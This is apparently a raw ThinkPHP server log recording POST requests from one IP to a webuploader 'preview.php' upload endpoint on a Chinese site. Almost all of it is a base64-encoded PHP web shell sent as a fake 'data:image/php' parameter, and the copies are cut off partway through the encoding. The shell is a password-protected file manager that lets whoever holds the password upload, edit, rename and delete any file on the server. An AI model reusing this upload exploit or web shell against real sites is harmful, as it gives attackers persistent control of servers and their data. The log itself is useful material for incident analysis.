iAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:45+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/static/webuploader/0.1.5/server/preview.php [运行时间:0.002755s] [吞吐率:362.99req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlb